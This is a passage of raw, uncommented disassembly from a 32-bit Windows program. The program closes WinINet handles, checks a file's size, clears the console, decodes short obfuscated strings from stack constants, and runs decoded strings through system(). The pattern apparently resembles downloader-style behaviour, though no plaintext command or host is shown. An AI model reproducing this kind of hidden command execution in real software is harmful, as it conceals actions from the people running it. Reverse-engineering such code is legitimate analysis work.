mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x407164
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fflush]
mov edi, dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
push ebx
call edi
add esp, 8
push esi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push dword [ebp - 0x298]
call esi
push dword [ebp - 0x310]
call esi
push 0xb8
lea eax, [ebp - 0x3cc]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
cmp dword [ebp + 0x34], 0x10
lea eax, [ebp + 0x20]
lea ecx, [ebp - 0x3cc]
cmovae eax, dword [ebp + 0x20]
add esp, 4
push 1
push eax
call fcn.0040b100
mov eax, dword [ebp - 0x3cc]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ifstream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x3cc]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x70]
mov dword [ebp + ecx - 0x3d0], eax
mov eax, dword [ebp - 0x3cc]
mov eax, dword [eax + 4]
mov ecx, dword [ebp + eax - 0x3c0]
mov dword [ebp + eax - method.std::basic_ifstream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
and ecx, 6
mov eax, dword [ebp - 0x3cc]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x70]
mov dword [ebp + ecx - 0x3d0], eax
je 0x406e74
mov byte [ebp - 4], 0x15
cmp dword [ebp - 0x370], 0
mov dword [ebp - method.std::basic_filebuf_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
je 0x406c6f
mov eax, dword [ebp - 0x3b0]
lea ecx, [ebp - 0x380]
cmp dword [eax], ecx
jne 0x406c6f
mov edx, dword [ebp - 0x368]
mov ecx, dword [ebp - 0x36c]
sub edx, ecx
mov dword [eax], ecx
mov eax, dword [ebp - 0x3a0]
mov dword [eax], ecx
mov eax, dword [ebp - 0x390]
mov dword [eax], edx
cmp byte [ebp - 0x374], 0
je 0x406c83
lea ecx, [ebp - 0x3bc]
call fcn.0040d600
lea ecx, [ebp - 0x3bc]
call dword [sym.imp.MSVCP140.dll_public_virtual:_void___thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::destructor_void_]
lea ecx, [ebp - 0x3b4]
mov byte [ebp - 4], 7
call dword [sym.imp.MSVCP140.dll_public_virtual:_void___thiscall_std::basic_istream_char__struct_std::char_traits_char__::destructor_void_]
lea ecx, [ebp - 0x35c]
call dword [sym.imp.MSVCP140.dll_public_virtual:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::destructor_void_]
xor eax, eax
push 0xfffffffffffffff5
mov dword [ebp - 0x310], eax
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
mov ebx, eax
lea eax, [ebp - 0x294]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetConsoleScreenBufferInfo]
movsx edi, word [ebp - 0x292]
lea eax, [ebp - 0x298]
movsx ecx, word [ebp - 0x294]
mov esi, dword [ebp - 0x310]
push eax
imul edi, ecx
push esi
push edi
push 0x20
push ebx
call dword [sym.imp.KERNEL32.dll_FillConsoleOutputCharacterA]
lea eax, [ebp - 0x298]
push eax
push esi
push edi
push dword [ebp - 0x28c]
push ebx
call dword [sym.imp.KERNEL32.dll_FillConsoleOutputAttribute]
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_SetConsoleCursorPosition]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push 0x40df60
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov edi, dword [ebp - 0x3d0]
mov dword [ebp - 0x28c], 0x7435cc03
mov dword [ebp - 0x288], 0xaff2a333
mov dword [ebp - 0x284], 0x7821e065
mov eax, dword [edi + 0x4c4]
mov word [ebp - 0x280], 0x9960
mov byte [ebp - 0x27e], 0x9d
test al, 1
jne 0x406dbc
or eax, 1
mov dword [edi + 0x4c4], eax
mov byte [ebp - 4], 0x1a
xorps xmm0, xmm0
movlpd qword [ebp - 0x27c], xmm0
mov edx, dword [ebp - 0x278]
mov ecx, dword [ebp - 0x27c]
mov byte [edi + 0x51f], 1
nop dword [eax]
mov al, byte [ebp + ecx - 0x28c]
mov byte [ecx + edi + 0x510], al
add ecx, 1
adc edx, 0
jne 0x406dab
cmp ecx, 0xf
jb 0x406d90
push 0x413300
call fcn.0040fe53
add esp, 4
mov byte [ebp - 4], 7
lea ecx, [edi + 0x510]
call fcn.0040cc90
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea edx, [edi + 0x510]
push 0x40df60
call fcn.0040dd20
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov eax, dword [edi + 0x52c]
mov dword [ebp - 0x27c], 0x126ccccb
mov word [ebp - 0x278], 0x9ca
test al, 1
jne 0x406e58
or eax, 1
mov dword [edi + 0x52c], eax
mov byte [ebp - 4], 0x1b
xorps xmm0, xmm0
movlpd qword [ebp - 0x29c], xmm0
mov edx, dword [ebp - 0x298]
mov ecx, dword [ebp - 0x29c]
mov byte [edi + 0x24e], 1
nop dword [eax]
mov al, byte [ebp + ecx - 0x27c]
mov byte [ecx + edi + 0x248], al
add ecx, 1
adc edx, 0
jne 0x406e4b
cmp ecx, 6
jb 0x406e30
push 0x4132c0
call fcn.0040fe53
add esp, 4
lea esi, [edi + 0x248]
mov ecx, esi
call fcn.0040cc30
push esi
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
add esp, 4
jmp 0x4069bb
mov byte [ebp - 4], 0x16
cmp dword [ebp - 0x370], 0
mov dword [ebp - method.std::basic_filebuf_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
je 0x406ebb
mov eax, dword [ebp - 0x3b0]
lea ecx, [ebp - 0x380]
cmp dword [eax], ecx
jne 0x406ebb
mov edx, dword [ebp - 0x368]
mov ecx, dword [ebp - 0x36c]
sub edx, ecx
mov dword [eax], ecx
mov eax, dword [ebp - 0x3a0]
mov dword [eax], ecx
mov eax, dword [ebp - 0x390]
mov dword [eax], edx
cmp byte [ebp - 0x374], 0
je 0x406ecf
lea ecx, [ebp - 0x3bc]
call fcn.0040d600
lea ecx, [ebp - 0x3bc]
call dword [sym.imp.MSVCP140.dll_public_virtual:_void___thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::destructor_void_]
lea ecx, [ebp - 0x3b4]
mov byte [ebp - 4], 7
call dword [sym.imp.MSVCP140.dll_public_virtual:_void___thiscall_std::basic_istream_char__struct_std::char_traits_char__::destructor_void_]
lea ecx, [ebp - 0x35c]
call dword [sym.imp.MSVCP140.dll_public_virtual:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::destructor_void_]
lea eax, [ebp + 0x20]
push eax
lea ecx, [ebp - 0x294]
call fcn.0040ba30
cmp dword [ebp - 0x280], 0x10
lea eax, [ebp - 0x294]
push 0x414418
cmovae eax, dword [ebp - 0x294]
push eax
lea eax, [ebp - 0x310]
mov dword [ebp - 0x310], 0
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen_s]
push 2
push 0
push dword [ebp - 0x310]
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
push dword [ebp - 0x310]
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
push dword [ebp - 0x310]
mov esi, eax
call edi
mov edx, dword [ebp - 0x280]
add esp, 0x20
cmp edx, 0x10
jb 0x406f9c
mov ecx, dword [ebp - 0x294]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x406f92
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x406f92
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push edx
push ecx
call fcn.0040fd9c
add esp, 8
cmp esi, 0x2328
jle 0x406fab
mov bl, 1
jmp 0x4069bd
xor eax, eax
push 0xfffffffffffffff5
mov dword [ebp - 0x310], eax
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
mov ebx, eax
lea eax, [ebp - 0x294]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetConsoleScreenBufferInfo]
movsx edi, word [ebp - 0x292]
lea eax, [ebp - 0x298]
movsx ecx, word [ebp - 0x294]
mov esi, dword [ebp - 0x310]
push eax
imul edi, ecx
push esi
push edi
push 0x20
push ebx
call dword [sym.imp.KERNEL32.dll_FillConsoleOutputCharacterA]
lea eax, [ebp - 0x298]
push eax
push esi
push edi
push dword [ebp - 0x28c]
push ebx
call dword [sym.imp.KERNEL32.dll_FillConsoleOutputAttribute]
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_SetConsoleCursorPosition]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push 0x40df60
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov edi, dword [ebp - 0x3d0]
mov dword [ebp - 0x288], 0x1e33489e
mov dword [ebp - 0x284], 0xf0cb0c73
mov word [ebp - 0x280], 0x219f
mov eax, dword [edi + 0x370]
test al, 1
jne 0x4070ac
or eax, 1
mov dword [edi + 0x370], eax
mov byte [ebp - 4], 0x18
xorps xmm0, xmm0
movlpd qword [ebp - 0x27c], xmm0
mov edx, dword [ebp - 0x278]
mov ecx, dword [ebp - 0x27c]
mov byte [edi + 0x2ce], 1
nop dword [eax + eax]
mov al, byte [ebp + ecx - 0x288]
mov byte [ecx + edi + 0x2c4], al
add ecx, 1
adc edx, 0
jne 0x40709b
cmp ecx, 0xa
jb 0x407080
push 0x413380
call fcn.0040fe53
add esp, 4
mov byte [ebp - 4], 7
lea ecx, [edi + 0x2c4]
call fcn.0040cd50
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea edx, [edi + 0x2c4]
push 0x40df60
call fcn.0040dd20
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov eax, dword [edi + 0x3fc]
mov dword [ebp - 0x27c], 0xc410c03b
mov word [ebp - 0x278], 0xa12c
test al, 1
jne 0x407148
or eax, 1
mov dword [edi + 0x3fc], eax
mov byte [ebp - 4], 0x19
xorps xmm0, xmm0
movlpd qword [ebp - 0x29c], xmm0
mov edx, dword [ebp - 0x298]
mov ecx, dword [ebp - 0x29c]
mov byte [edi + 0x3e2], 1
nop dword [eax]
mov al, byte [ebp + ecx - 0x27c]
mov byte [ecx + edi + 0x3dc], al
add ecx, 1
adc edx, 0
jne 0x40713b
cmp ecx, 6
jb 0x407120
push 0x413340
call fcn.0040fe53
add esp, 4
lea esi, [edi + 0x3dc]
mov ecx, esi
call fcn.0040ccf0
push esi
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
add esp, 4
jmp 0x4069bb
push edx
push ecx
call fcn.0040fd9c
add esp, 8
mov al, bl
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0040fb0d
mov esp, ebp
pop ebp
ret